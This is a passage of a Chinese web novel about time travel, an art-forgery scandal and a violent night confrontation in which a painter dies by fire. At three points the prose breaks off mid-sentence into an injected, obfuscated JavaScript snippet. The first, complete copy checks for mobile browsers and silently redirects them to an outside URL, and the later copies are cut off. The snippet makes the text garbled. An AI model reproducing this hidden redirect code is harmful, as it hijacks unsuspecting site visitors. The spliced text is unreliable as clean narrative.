突然听到刺啦一声,林菀蓦地回头,看到展馆工作人员将展示墙上贴的照片撕下来好大一块,只剩下林乃岳半张脸。随后,他将这剩下的残图也撕下来,揉捏成一团,丢进垃圾桶,头也不回地走向下一张照片。、 通向二楼的台阶上,林菀突然停下脚步,环视整个大厅。林乃岳一辈子费尽心机得来的一切,终究化为泡影,被丢弃在肮脏的垃圾桶里。 “我们在林乃岳的临时办公室发现了一幅画,这画放在一个烤箱里。”来到二楼,警察拎起靠在墙角的一幅画放到桌上。原本光线明亮的二楼展厅也灰蒙蒙一片,光线暗淡。曾经被小心呵护的林乃岳油画如今被随意叠放在墙角。 林菀看到画便深吸一口气,朝徐箴言看去。这画就是徐箴言的茶园女子背影图,只不过又被画蛇添足地在天空中加了飞鸟,然后在角落里写着:林乃岳,1996。 “这是我的画。”徐箴言平静地说。 “怎么证明?”警察问。 “画画时我拍了视频,而且使用了三年前才生产出来的人工云母粉,这点可以通过化验证明。如果真是林乃岳当年画的,那颜料里不可能有我用的人工云母粉。”徐箴言回头示意毛拉,“我们已经研究出如何将新画制作成老画的方法,需要用到的就是烤箱。” 毛拉立即附议。两人开始展示如何制作伪画。旁边几个警察在打包伪画作证据之用,此时也忍不住过来看稀奇。 纵然警察们是外行,但也有人评价道:“这画比林乃岳的画好看太多啊。”然后对林菀说,“对了,其他的画,你们可以拿去处理了。” “好的,”林菀一愣,这些画已经一文不值。据说前几天还有人直播踩踏林乃岳的画。 …… 从画展出来,已经华灯初上。夜色给予林菀安全感,但又让她不得不想起自己可能又要穿越。 四个人一起顺着人少的林荫路散步。 “警察已经在通缉林乃岳和周城了,他们落网只是时间问题。”林菀说道,“所以我们的重点可以放到穿越之上。下次我过来——” “还有一些问题要解决,不急。”涂淼打断她的话,看了眼没有吭声的徐箴言,“比如,若真的穿越成功,我们会去哪里?你说你从五年后来,难道我们也一起去五年后吗?” “我也想过这件事。”林菀说着拿出便签本,她已经记录了一些需要考虑的事项,“我穿越进这个五年前的世界,是因为我在这个世界提前出生五年。其实年龄是对得上的,所以……你们可能是去那个世界的五年前。” “行,那去了我就来找你。”涂淼很爽快地说。 “你不能来找我。”林菀摇摇头,“五年前,如今我经历的这些事情还没有发生。一旦提前接触,怕是会引起连锁反应,导致事情发展脱轨。所以你们不能主动跟我接触……”她狠狠心,“除非我主动。我们要定个时间地点见面。” “具体时间和地点,你回去确定了再告诉我们吧。”徐箴言说。 “这是自然。”林菀继续在本子上面划勾。 “那失忆的问题怎么解决?”林珠莉问。 失忆,是个棘手的问题。林菀担心等他们登上地铁,那一时半刻的失忆会给他们造成其他麻烦。她思考了半晌,才说道:“写纸条可以吗?写一张关于见面时间地点等重要信息的纸条随身携带。” “行,最粗糙的办法就是最稳妥的办法。”涂淼很开心。她挤到徐箴言和林菀之间,搂住林菀的胳膊,“这会儿我要跟我的大宝子一起。”她可不敢挤另一边的林珠莉。 徐箴言好脾气地笑着,无奈地往旁边撤了一步。 “如果到那边五年里我混得太差的话,就不来见你了。”涂淼开玩笑地说,“害臊!” “瞎说,你就是混进丐帮也得来见我。”林菀畅想着过去后大家在一起的日子,语调高扬起来,“我这几年没干啥就顾着存钱了,我有点小钱。我们可以再一起创业啊。”她又伸脖子往两边看了看,先问林珠莉,“妈,你过去了想做什么?” “先做法律咨询。等腰包鼓起来就去学摄影吧,做个摄影师。”林珠莉说。她的爱好一如既往地年轻。 “很棒。”林菀又歪歪头,“箴言呢?” “五年后,你在哪里?”徐箴言微笑着问她。 “你知道我在珑亚工作。” “那我就做一份相近的工作。” “画汽车么?”林菀故意打趣。她何尝不知徐箴言是油画好手,甚至连警察都看出来了。可是她不会直接提议他往这方面发展,毕竟他还没正式出道就遇到伪画这等糟心事儿。 徐箴言笑意温柔地望着她,眼神辉然,映着头顶的灯光。 …… 吃完饭回到家,已经是晚上十点。 徐箴言临时接了一个工作电话,等他忙完时发现林菀站在落地窗边,望着远远近近的灿烂灯光。 客厅里就亮着一盏小灯,光线昏暗。他静静地走过去,从背后揽住她的腰。 “你过去后应该像我一样,从地铁站出来,或者一觉醒来就拥有了完全不同的生活……肯定也如同我初来乍到时那般疑惑与茫然。”她没有回头,依旧望着窗外,可声音却低下去,“在这边我们同龄,到那边你就比我大五岁了。” 徐箴言等待她说下去。 林菀深呼吸着,压抑心头的暗涌,转身来望着近在咫尺的他,仔细端详他的眉毛、眼睛、鼻梁、嘴唇……仿佛想将这一刻烙印进骨子里,“如果你已经结婚,那就不用来见我了。” 这是她必须做出的选择。她希望他幸福,决计不做一个破坏他婚姻的人。她相信以徐箴言的为人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102884|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能让他走进婚姻的对象,必定是他的深爱。 “只要你幸福就好。”她有些哽咽。 “我不会结婚。”他低头,用微凉的鼻尖碰碰她的鼻尖。 纵然心里酸涩,清楚他是在哄自己,林菀还是破涕为笑,“我很坚强,真的。一个人也能过好生活,不用为我担心。” “怎么独自生活?”他轻轻地问。 “认真地工作,好好地吃饭,该运动就运动,该看书就看书,该旅游就旅游。” 徐箴言将她抱进怀里,抚摸着她的黑发,“我也想叮嘱你。林乃岳身份曝光,皆因我的画引起。他杀了那么多人,想必不会放过我。万一出现某些情况……”他喉结滚动,声音略有沙哑,“你不要等我。” 怀中人突然一颤。 “不要因为我而影响你今后的人生。你要开心乐观地继续往前走,拥有一份满意的事业,拥有一个完美的家庭。如果你爱我,就请忘记我。”他一字一句地说。夜色弥漫,无人能见他情绪破碎的面庞。 林菀咬紧牙关,不敢回应。 “我是你梦中的人,不是现实中的人。知道吗?你要在现实里生活,不要被梦境困扰。”他竭力装作平静,再一次提醒,却觉得喉咙腥甜。 半晌,林菀抬起头来,泪珠从眼角滑落,“我绝对会抓住林乃岳。”这样,林乃岳就不会伤害他了。 夜色里,徐箴言掩去眼底痛楚,抬起她的下巴,轻吻她如蝉翼般抖动的睫毛,吻拭咸咸的泪水。他的另一只手放在她身后,慢慢地,紧紧握成拳。 …… 第二天醒来,是周日。但林菀需要加班出外勤,去米卡艺术中心。 熟悉的道路,熟悉的展馆。在梦境里,因为林乃岳伪画事件曝光,已经布置好的画展被狼狈地匆匆撤下,灰头土脸。在现实里,它又因为要举办林吾画展而焕然一新,处处设计都彰显着典雅简洁的风格。黑色的天花板上一排排灯具炽亮如夜明珠,灯光聚拢在为每一幅画预留的位置上。画也并不会挂在墙壁上,而是挂在深灰色屏风式隔板上,中间通道十分宽阔,整体呈现简洁大方的几何风。这里没有大篇幅介绍画家的文字,只有画作预设位置下方寥寥几笔介绍画作相关信息。 林菀直接跟着谭姿去了二楼,找经理谈话。等谭姿进办公室,她独自在外等候。 走廊安静,她很快便注意到对面门掩着留一条缝的休息室里传来不大不小的说话声—— “不好意思,林画家,不知道您会突然过来,也没什么准备。只有正山小种,您将就喝一下。然后这是您刚刚说想看的设计图……” 林菀愕然地抬起头。林吾竟然在这里,且只有一墙之隔。她盯着那道细细的门缝,突然有种不顾一切推开的想法。 “Nora!”Maggie突然冲过来,眼下挂着大大的黑眼圈,“谭姐呢?” “进经理办公室了。” “赶紧帮帮忙,我昨晚喝多了,还有两个表格没做。”Maggie急得搓手,拉着她往楼梯口的椅子那边走。 林菀再次回头看了眼那道门缝。她终究不是一个冲动的人。虽然这是她离林吾最近的一次。 …… 当天午夜,林菀再次穿越。 然而这个夜晚,站台空无一人。林菀没有见到她的爱人,她的亲人,她的友人。 68. 夜晚的大师班 站台上的显示屏正在播放林乃岳伪画案的新闻。林菀掏出手机联系徐箴言,才看到他已经发来消息——林珠莉将展馆里警察不需要查看的油画全部打包搬回大师班。晚上大家都在那里帮忙。而他就在过来地铁站的路上。 林菀暂且松了口气。 第二天,徐箴言去上班。林菀开他的车去大师班,看到大门口的垃圾桶被丢了一大堆林乃岳本人的宣传物料。 院子里的保安早就撤了,而学徒也都退出。画架随意丢弃的画室里,只有阳光一如既往地照射进来,在地面投下斑驳的光影。走廊上,堆叠着一箱箱未拆封的油画颜料工具,甚至还有几箱松节油。 林珠莉站在这些箱子中间狭窄的过道上打电话。林菀配合地没有说话。 几分钟后,林珠莉挂断电话,“我约了车明早来收垃圾。” “其实颜料可以拿去二手市场转卖。”林菀蹲下来。她们面临巨额赔偿,必须想方设法开源节流。 “我当垃圾处理的是林乃岳那些画儿,昨天已经丢了一批,让对面五金店的人拿去糊墙。”林珠莉说着往二楼走,“以前倒没发现他画了这么多画,一个屋子都摆不下——你拿松节油做什么?”她看到林菀把一箱松节油抱起来。 “这东西易燃,不能被阳光直射,放阁楼去。” “确实,我倒忘了。”林珠莉也回身抱起一箱。 来到二楼,林菀看到林乃岳的油画大都随意摆放在会客厅里,连走廊上也撇了几幅。仓储间的门大开着,里头满是周城留下的东西。 “警察来过这里,也把周城在乡下的房子查封了。”林珠莉将松节油放到地上,起身拍拍衣服上的灰尘,“跟林乃岳一样沽名钓誉的东西,装什么清高。嘴上说不屑名利,只爱乡野,可画的都是城市浮华,结交的都是艺术名流,满屋子都是装点门面的收藏品。他比林乃岳更虚伪。” 林菀将仓储间门口杂物里挤着的一张画抽出来,发现画的是莱城最繁华的地界,笔法抽象,颇像——徐箴言的一幅摩天大楼抽象画。 “这是周城的画?”她向林珠莉确认。 “嗯,”林珠莉又将另一幅未完成的画抽出来,“还有这个,画的是你的背影?跟徐箴言那幅画挺像。”这是一张练笔的油画,潦草地勾勒出一个白衣女子在花丛里的背影。 “不……”林菀沉思着摇摇头,慢慢地在心中形成一个答案,“他是在模仿箴言。” 林珠莉狐疑地看向她,可在对比周城与徐箴言后,也不自觉地眯起眼睛。 不说长相,在其他很多方面,这两个人太像了。徐箴言的头发有点自然卷,平时会用定型水。周城也很快烫头发弄个相似的发型。徐箴言因为结婚而戴上婚戒,周城也很快在无名指戴上戒指。徐箴言穿衬衫时习惯在里面搭配圆领的T恤衫,周城也很快学到。且徐箴言每次来大师班时搭配的衣着颜色和风格——周城下一次出现就会这么穿。 周城在全方位地模仿徐箴言,从艺术创作到个人生活。 可是为什么?林菀蹙眉,百思不得其解。其实她在现实生活中见过所谓的学人精。不管是读书时还是上班时,她都曾听闻谁谁谁模仿班里或者办公室里的另一个人——穿一样的衣服,买一样的用品,甚至学一样的口头禅。可是这样的行为放到一个成熟的艺术家身上便显得十分离谱。毕竟所有的艺术家都希望保有独创性。 “可惜了,周城。”林珠莉将那幅花丛女子画随意地丢回仓储间,画框瞬间砸裂,画布也被戳破了,“不过就算有商氏夫妇提携,他也成不了多大气候。”在艺术这条路攀至巅峰,需要天赋和努力并佳。周城天赋不佳,而努力也用错了方向。 林菀沉默几秒,“不知道林乃岳许给他多大的好处,能让他放弃如今的一切。”她想了想,“不过,眼下最重要的是怎么把这两人找出来,否则越拖箴言越危险。” “箴言待会过来吗?” “来,不过今天银行里有政府部门来检查,可能会晚点。” 两人继续楼上楼下来来回回地收拾着大师班的杂物,直至夜晚来临。 “对了,”林菀突然想起什么,撑着酸痛的腰站起来,“我今天去银行办理了大额转账。超过限额了,还有两张卡没动。我拿给你。”她要拿钱给林珠莉付赔偿金。 “你先别——” “我的手机呢?”林菀发现她放在门口柜子上的手机不见了,衣服口袋里也没有。 林珠莉也站起来,经过林菀一提醒,她发现自己的手机也不见了。“去楼上——”她话音还没落,头灯的灯啪一声熄灭。 “你是不是要穿越了?”林珠莉立即问。 林菀瞬间扭头看窗外。大师班旁边的自助银行还亮着灯。“不是地磁暴,是只有我们这一栋——”她接下来的话语戛然而止。门外不知什么被碰倒了,发出清脆的哐当声。 走廊上有人! 林菀脸色一白,瞬间闪到门后。她的眼睛逐渐适应黑暗,找到林珠莉的身影,轻声告诉她,“有外人。” 林珠莉镇定地点头,大声说道;“跳闸了吧,林菀,给我搬个椅子来。我看看电闸。” 林菀轻轻地将门反锁,故意蹬了一脚椅子,发出刺耳的刺啦声。 纵然不愿意相信,但林珠莉还是低声提醒:“可能是林乃岳。” 林菀的心跳很快,屏住呼吸掐着手心让自己冷静下来。思来想去,她只得出一个结论,“他肯定是发现画被当废品处理了。”她毫不犹豫地走到窗边,拉开窗户,“我们从这里出去。” 窗外一片黑暗,林珠莉拦住女儿,“我先出去。”如果外面有人,她能为林菀挡住危险。 林菀立即摇头,她不能让母亲以身试险。思考半晌,她大声说道:“妈,我找找合适的椅子,这个椅子够不到电表的高度。” 说完,林菀回头四处查看,突然看到了地上的松节油。她立即打开箱子,拎出一瓶松节油。 “这里有打火机吗?”她低声问。 “有。”林珠莉连忙在桌上寻找。学徒平时软化油画棒需要用到打火机。果然,她在笔筒里发现了一只打火机。 林菀将打火机拿过来,又拧开松节油瓶子,将盖子扔掉,“我先出去。如果真的遇到林乃岳,松节油和打火机就派上用场了。” 林珠莉瞬间明白了她的意思。 好在外面没人,两人无声地从窗户爬出来,绕着墙壁挪到小楼正面。 这时月亮从浓云后出现,银色的光辉洒满小院,也照亮了在大门口的二人。林菀心里一凉,刚要叫林珠莉快走就听到屋内走廊上响起急促的脚步声。 “快走!”说时迟那时快,林珠莉一把抓过林菀手里的松节油和打火机,将她猛地朝外一推,然后自己闪身进门。 “你的人生还长,这种事情不该你来做。”林珠莉迅速将门反锁,语速急促,“我跟他的恩怨也该了结了。快走!”她很清楚,两个人逃跑的结局是有可能都没走出这个院子,而她拖住林乃岳,林菀便有生还机会。 “妈!”林菀悚然变色,爬起来扑向玻璃门,声音陡然沙哑。她奋力砸门,却只见林珠莉转身消失在黑暗中。 林菀突然感觉胸口剧痛,这种痛苦蔓延到四肢百骸,让她一时间浑身脱力,扑通一声跪下来。然而眼下不是投降的时刻。就算心脏发麻,她还是咬着牙起身往外冲。她要去报警。 远远地,她看到门对面五金店已经打烊。就在她即将冲出院落大门时,突然被人勒住脖颈拖了回去。 身后的人有着她熟悉的味道,林菀立即双手掐住那钢铁牢笼一般的胳膊,嘶哑着喊道:“周城!” 同一时间,小楼里。 林珠莉为了争取时间,直接跑到二楼。月光照耀下,她径直推开会客厅大门,拿起松节油统统淋到林乃岳的油画上。这些倒在地上的油画被重新整齐放到桌上,明显是被人整理过了。 “林乃岳,我知道是你!”林珠莉丢掉空瓶,从桌上的箱子里拿出另一瓶松节油,继续浇到油画上,“多少年了,你不出来光明正大地见见我这个差点被你害死的遗孀吗?” 她冷笑起来,“想把画拿走?你可真不愧是著名画家,如此爱惜作品。画吧,尽快画吧,继续画你的伟大艺术梦想。我相信等这波事情过去,肯定有剑走偏锋的收藏家非得试试臭名昭著的林乃岳油画。那钱就又进我的口袋了。我何尝不欢迎?” 她猛地转身,看到门口闪过一个黑暗的影子。她立即摁开打火机。幽暗的光芒跳动在她脸上,如同鬼魅,“外面那么多通缉令新闻,你清楚如今你已经死到临头了吧?后悔当初跟我结婚吗?我不后悔。就算到了世界末日,我也是你名义上唯一的妻子,是你的遗产受益人。我会得到你每一分钱。金钱财富、艺术荣誉,我永远坐享其成。等到我死了,我的钱就变成林菀的钱。可她跟你没有任何关系!然而这就是你的命运。选择假死的那一刻,你就注定一辈子都给我们母女打工!这就是你的命运!” 林珠莉语调激昂,不把林乃岳激出来不罢休,“我要成为你永远的噩梦。我用你的钱捐建的那些艺术楼,大不了换个名字。人们会痛恨你利欲熏心作恶多端,可不会痛恨砸钱的我。总有一天,他们会同情蒙在鼓里的我,对我大加赞扬。为了这份同情与荣誉,我会让你受尽屈辱。我要将你所有的事迹印成册子大肆宣扬,警告人们别步你的后尘。我会花你的钱,让你成为美术教科书上的反面例子,遗臭万年!” 屋子里的灯啪一声亮了。 林珠莉继续冷笑着,一动不动盯着终于在门口露面的林乃岳。他没有戴假发,整个人像是苍老了十岁,脸上毫无血色。可眼睛又闪着疯狂又歹毒的光芒。他手里拿着匕首,刀尖闪着光,映着他大腿上裹着的纱布。 林珠莉立即将所有沾染松节油的油画推到地上,散落一地。她笑着,举起了打火机。 二楼的灯光照亮了小楼前的草坪。 林菀张着嘴,却压根无法呼吸,连胸腔也被挤压过度,心脏仿佛立马就要跳出来。她脚下泄力,慢慢瘫软到地上。 周城依旧紧紧掐着她的脖子,没有松劲。 出于求生本能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“闭嘴!你知道画家要出人头地有多难?你懂成年累月地画画,却一直无人问津的痛苦?你知道连买颜料都没钱,还被刚刚卖出画的混账嗤笑的感觉?”周城额头显出青筋,“你多有钱,当然不懂。这世上有无数人渴望获得成功的通道——” “通道就是制作伪画?就是模仿别人?上梁不正下梁歪,他杀了年轻画家,夺取别人的画作。你就处处模仿徐箴言——” “伪画如何?模仿又如何?”周城突然笑起来,笑得一如既往平和,“只要能出名,我丝毫不介意。你是他老婆,必定了解他的艺术水平。只要我成为他,荣誉与财富统统都抬手可摘。”他望着林菀,眼眸里竟然有一丝温存,“我愿意接手他的一切,从他的作画风格到生活习惯,甚至我也能接受你,让你成为我的妻子。知名画家周城迎娶画坛泰斗林乃岳的女儿,岂不是一段佳话?”他一边说,一边朝林菀走来。 “你可真恶心。”林菀强行在腿上狠狠掐一把,以保持清醒。她举着匕首对准他,“知名画家?痴心妄想!还画坛泰斗林乃岳,你擦亮眼睛出去看看!大家说的都是诈骗犯林乃——” “住口!”周城愤怒至极,直接扑了过来。 林菀躲闪不及,索性拿着匕首朝他的胸膛扎去。她重重地摔到地上,匕首也插进了周城的锁骨。 温热的血很快流到林菀手上,她试图拔出匕首,但胳膊肘抵着草坪,根本使不上劲。 周城就跟没感受到痛苦似的,再次用鹰爪一般的手狠命掐住林菀的脖子。 “师父绝对会东山再起!他有人脉有实力,还要扶持我成为一代大家,功成名就!他一定会东山再起!” 这一刻,林菀感受到了周城的意乱与恐慌。他天分不高,绘画平庸,但林乃岳许给他天大的承诺,会将他包装成绝无仅有的大画家。 林菀脸上露出痛苦又扭曲的笑容,“扶持你?连桃李角都是商氏提议,他还扶持你?你车祸受伤,他可曾去看过你?” 一听这话,周城脸上露出震惊的神色。他一直以为桃李角是林乃岳提出的。 而就在他愣怔之时,突来的一脚将他猛地踹向一边。周城撞到围墙,后脑勺发出响亮的撞击声。他如同蛆虫一样蠕动着,挣扎起身,拼尽最后的癫狂,抓起落在身边的匕首冲过来。 徐箴言直接迎上去,一个躲闪,抓住周城的手腕往后掰。由于墙角无灯,视线晦暗,他还是冷不丁让那把匕首擦过他的胳膊,留下一道血痕。 周城负隅顽抗,动作愈加疯狂起来,拳脚相加,一拳击中徐箴言的下颚骨。 徐箴言喘着气,擦了把嘴角溢出来的血,稳住下盘,瞅准时机绕过周城身侧,抓起他的胳膊直接背摔,重重将他摔到地上。 周城终于昏迷,一动不动趴下,匕首甩出几米远。林菀蹒跚脚步,将那把匕首捡起来。 徐箴言一脚踩在他背上,脱下外套,熟稔地将周城的手反绑起来,又将他拖到门柱边,继续绑到柱子上。周城锁骨上的伤口不深,此时血虽糊透了前胸,但伤口已经慢慢止血。 反复确认绑好后,徐箴言才回身搀扶住林菀,“还好吗?” 林菀说不出话,连连点头,然后才集中力气说道:“我妈在楼上,林乃岳也在。” “好,我这就去。” “你小心——” 话音未落,林菀就发现小楼中通向二楼的楼梯出现火光与烟雾。突然,林珠莉从楼梯冲下来,衣服带有灼烧的痕迹。 而此时,徐箴言出于敏感的直觉,突然将林菀搂入怀中,躲进屋檐。 霎时间,一个火光四溅的火人从二楼哐当掉下。 炽亮的火焰中,林乃岳的双眼依旧闪着绝望又疯狂的光芒。 …… 69. 寻找爱人行踪 林菀在公安局度过了第二个不眠之夜。只是这一次,她与林珠莉一同过去。 “没事。”警车上,林珠莉拍拍女儿的手,宽慰道,“你瞧,我没怎么受伤便从二楼下来了。”她确实只有手部受伤,精神也算稳定。 林菀抓住母亲的手,不敢出力,怕碰到才包扎好的伤处。周城被送去医院,包好伤口便会被送回来连夜审问。可林乃岳则是当场死亡。她心里在担心林珠莉可能会因此获罪,但此刻她什么也不敢说。 “不要担心我。”林珠莉低声道,“现在的结果,我很满意。” 林菀眼眶发红。 “你要坚强,以前没有我,不是照样好好过。”林珠莉柔声命令,“有点骨气!” 林菀终于嘶哑着说道:“好。” 可她的担心并无道理。第二天早上,她做好笔录出来的时候林珠莉还没有出来。 “你先回去休息,”徐箴言也熬了一夜,心疼她脖子上的勒痕。 “不,”林菀忧心忡忡地回头望了望公安局大门。一夜过去,她勉强重振精神。理智告诉她,在这里干等也没有办法,“我得去找刑事律师问问。” “这事儿我来。”徐箴言已经联系好相关的朋友打算见面,“你本就没好全,现在又受伤。还是回去等我的消息。有什么事我一定及时告诉你。”除去周城和林乃岳,他如今再没有后顾之忧。 思来想去,林菀点点头。一宿没休息,她头疼得厉害。 然而,林菀这一觉睡醒又穿越了。由于脖子淤青明显,大夏天的也不好遮,她只能请一天的假,等到晚上十一点多出门打车去公司附近的地铁站,登上末班地铁。 这一次,还没等地铁停稳,她就看到站台显示屏上的新闻——林乃岳之妻防卫过当致其死亡,取保候审。 林菀刷地站起来,一时脚下不稳,连忙拽住冰冷的扶手杆。 地铁门开,林珠莉、徐箴言和涂淼都在站台上。 林菀来不及思考,冲下地铁就将林珠莉往车厢推,同时回头拽了徐箴言和涂淼一把,“快点,大家都上去!” 林珠莉站得莫名稳当,脚下一动不动。林菀气急道:“还等什么?等着去坐牢吗!” 这一句话出来,林珠莉面上终有松动,她立即看了眼涂淼。 “对,快上去!”涂淼立即拽着林珠莉一起往车厢里挤。 “我在后面推你们。”徐箴言紧随其后。 来不及说什么,林菀跑进车厢,在前面奋力拽着林珠莉和涂淼的手。很快她发现自己身上的雪纺白衬衫出现了星星点点的血迹,感觉到自己身上跟刀割一样出现数道伤痕。 车厢突然哐当一声震动起来。林菀猛地摔倒在地,听得一阵噼里啪啦,抬头瞧见站点显示屏竟然冒出一阵黑烟,红色和黄色的灯点全部熄灭。 “箴言,你加把力,一起进来!”林菀瞬间回头大喊,咬着牙爬起来跑出车厢推徐箴言的背。 徐箴言看到她竟然连眼角都开始流血,心中大骇。眼见车厢外的指示灯亮起,他抽出胳膊扶在林菀腰上,“我们一起出力,一、二、三!” 林菀被推了个措手不及,扑进地铁车厢,头撞到座椅挡板。她眼前一黑,撑着地板爬起来,发现车厢门刚巧关上,而门外竟然空无一人。 “林菀,我们进来了,你在哪里?”这是涂淼的声音。 “是啊,我们怎么看不见你?”林珠莉的声音有些颤抖。 “我也看不到你们。”林菀面上一喜,她成功了!而他们肯定是要去五年前。“记住,五年后繁寓路地铁站,7月28号见!繁寓路7月28号!箴言你听到了吗?” “我听到了。”徐箴言声音是前所未有的沙哑。 他话音未落,地铁已经开始加速,冲向黑暗的隧道。 林菀浑身剧痛,她尝试爬上座椅,却屡次失败,只能蜷曲在地上,慢慢陷入昏迷。 …… 林菀醒来,已经是第二天黄昏。她看到白净的天花板,呼吸着充满消毒水的空气,鼻间还搭着一根氧气管。 “老天呀,你总算醒了。”Maggie一张圆圆的脸晃在她眼前,“谭姐,她醒了!” 林菀咳嗽着,看到谭姿挺着肚子坐到她另一边。 “感觉怎么样?想吃东西还是想喝水?”谭姿问。 林菀摇摇头,气息虚弱地问,“我怎么在医院?” “我昨天半夜接到电话,说你浑身是血趴在地铁里被工作人员发现了。怎的一检查,连肋骨都骨折了?”谭姿很是担心。 “……医生都说什么了?警察也来了?”林菀慢慢挣扎着坐起来,“今天是几号?到28号了吗?” “你别急啊,今天是24号。”Maggie连忙塞个枕头到她背后。 “昨晚上地铁工作人员就报警了,可是调监控一看,你就是在繁寓路来回上下几次就扑到地上昏迷了,旁边没有别人。医生说你身上都是撕裂伤,新伤叠旧伤,脖子上还有掐痕,连眼角都淤青出血了。前几日我看到你脸上有伤就不对劲,到底怎么回事?”谭姿继续问。 “……”林菀张了张嘴,最终哑声道,“我想不起来。” 谭姿叹了口气,无奈地摇摇头,“你先休息养伤,公司那边请病假就可以。” “谢谢。”林菀努力笑了一下。但这笑容怎么看怎么苦涩。 “没事啦。我会经常来看你的。”Maggie说。如果不是林菀突然出事,她都不知道林菀父母双亡,真是可怜。林菀那个什么二叔也是绝情,都不听公司人事说完就挂断电话。 又呆了片刻,谭姿和Maggie走出病房。刚刚出门,Maggie就唉了一声,很是同情,“谭姐,您不觉得Nora是遇人不淑,被男友打成这样的吗?” 谭姿紧紧地抿唇,纵然她心里也狐疑,可还是说道:“她没说,就别猜了。” Maggie有些惆怅。天下没有不透风的墙,Nora这事儿指定要在公司里传开了。 …… 7月27日,林菀执意出院回家养伤。第二天,她一大早就拎着锦旗来到繁寓路地铁站。向地铁工作人员道谢之后,她从早到晚守在地铁进站口,来回张望,把脖子都望酸了。 早上,没有看到他们。 中午,没有看到他们。 下午,还是没有看到哪怕他们其中一个人。 晚上,林菀来回坐了几趟地铁。她甚至再次尝试乘坐末班地铁回家。 然而这一次她没有穿越。下车还是那个世界,甚至看到了当初发现她昏迷不醒的工作人员。 这位胖乎乎的女士很关切地叮嘱她,“注意身体呀孩子,这么晚了快点回家。” “好的。”林菀有些茫然,又心慌。 她的爱人、亲人、友人……怎么一个都没看见?哪里出了问题?林菀细想穿越的过程。她确信他们三个都进入了地铁。难不成去的是其他时空?或者他们都忘了今天相见?可事发突然,当时压根来不及写纸条。 思来想去,最坏的结果就是林珠莉和涂淼无法到达这个时空,而徐箴言是必定可以来的。他没有出现的原因是—— 林菀望向冰凉的夜空,他结婚了。 想到这里,林菀有种强烈的不真实感,甚至某一刻开始质疑自己是否真的去过梦境世界。然而夜深人静回过神来,她清楚地记得自己一路走来的所有历程。 她突然很慌,却手足无措,不知道究竟在慌什么。 她在地铁站一连等候多日,依旧没有结果,直到她再次被地铁工作人员提醒—— “您在这里站了三趟车的时间,要乘车吗?” 林菀这才意识到此时又是新的周一,她站在早高峰的繁寓路地铁站,等待搭地铁上班。 回到办公室,她的座位被放了一束鲜花。Maggie很开心地送上来大家签名的卡片,“欢迎重新加入品牌小分队!” “……谢谢。”林菀放下包和卡片,先跟所有同事打招呼,然后去谭姿的办公室报到。 曹磊盯着她的背影,“怎么看她不高兴啊,不想上班?” “废话,谁想上班。”Maggie脸上的笑容消失,头一次显得很正经,“按我上家公司的尿性,一看到员工出这种事……”她顿了顿,“她回来后就会被找由头辞退了。公司会怕她以后身体不好,受不住工作压力,也怕她受伤是自残,心理有问题。” “那Nora会被辞退吗?”曹磊问。 Maggie有点嫌弃地撇撇嘴,“你修炼的那点心眼子都到哪里去了。瞧瞧谭姐挺着孕肚半夜跑去医院的担心样儿,她会让Nora被炒吗?”她伸手点点曹磊的额头,“加把劲儿吧,小伙子。你还嫩得很。” 单人办公室内,谭姿打量着林菀,发现她清瘦不少。纵然妆化得很提气色,但掩饰不了整个人低疲苍淡的精神气。 于是,谭姿问道:“复查了吗?医生怎么说?” “恢复得挺好。已经可以上班了。谢谢您关心。” “如果不舒服就及时说。”谭姿点点头,也不多废话,“去跟Maggie对接吧。” “好的。” “虽说我是你工作上的领导,但你在生活中遇到问题,也可以找我咨询。”谭姿突然开口,“年轻女孩免不了走些弯路。我像你这么大的时候特别希望能有一个独立自主的女性前辈能帮我解开那些混沌迷茫的问题。所以,如果你需要……”她的话语停顿在这里。 林菀回身看着谭姿,弯了下唇角,“谢谢您。”她垂眸细思着,“可能有一天,我真的会来找您。” 谭姿也微微一笑,“出去吧。”她靠到椅背上,双手下意识抚摸肚子。小家伙刚刚踹了她一脚。 …… 走出办公室,林菀看向窗外灿烂的阳光。她有混沌迷茫的问题吗?她有。不管白天黑夜,她都在考虑她爱的那些人的行踪。 阳光舒展而热烈地照耀在她身上。进入盛夏,远远近近的景观树都在蓬勃地生长,满树绿叶招摇。 这炽热的生命力感染到林菀。她突然之间意识到自己原地思考只能坐以待毙。她要行动起来,调查清楚他们到底在哪里。 说做就做,林菀回到工位就搜索莱城各个区消防队的信息,因为江小姗肯定认识徐箴言。然而不等她输入江小姗的名字,他的新闻就弹了出来——中国消防员江小姗今日于土耳其举办的第十八届世界消防救援锦标赛上,勇夺消防百米障碍赛冠军。原来现实世界的江小姗竟然站到了世界第一的领奖台。新闻里也有他的照片,他精神奕奕手举鲜花,笑容灿烂。照片下有几行小字,介绍他入伍就直接进了莱城消防队当消防兵,也就是说他压根没去云南。 江小姗不认识徐箴言。 林菀怔了几秒,迅速稳住心神。没关系,既然找不到徐箴言,也远离涂淼的家乡,那么她就从林珠莉曾经的工作地点找起。 结束一天忙碌又充实的工作后,林菀打车去了梦境中林珠莉律师事务所的地址。在现实生活里,那里是一个房地产公司,经营十年有余。 林菀并没有太气馁。她转身又顺着导航软件找林珠莉刚结婚时作为护士工作的诊所。 梁氏诊所,这个位于菜市场旁边的小诊所竟然经营了快三十年,直到现在,只不过如今招牌褪色,卷帘门生锈,门口的小桌子也早就掉漆。可屋子里挂了好几个锦旗,还有几个附近居民在这里一边玩扑克一边打吊瓶。 药柜前,一个五十岁不到的阿姨穿着白大褂,正在给一个穿着皮围裙胶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 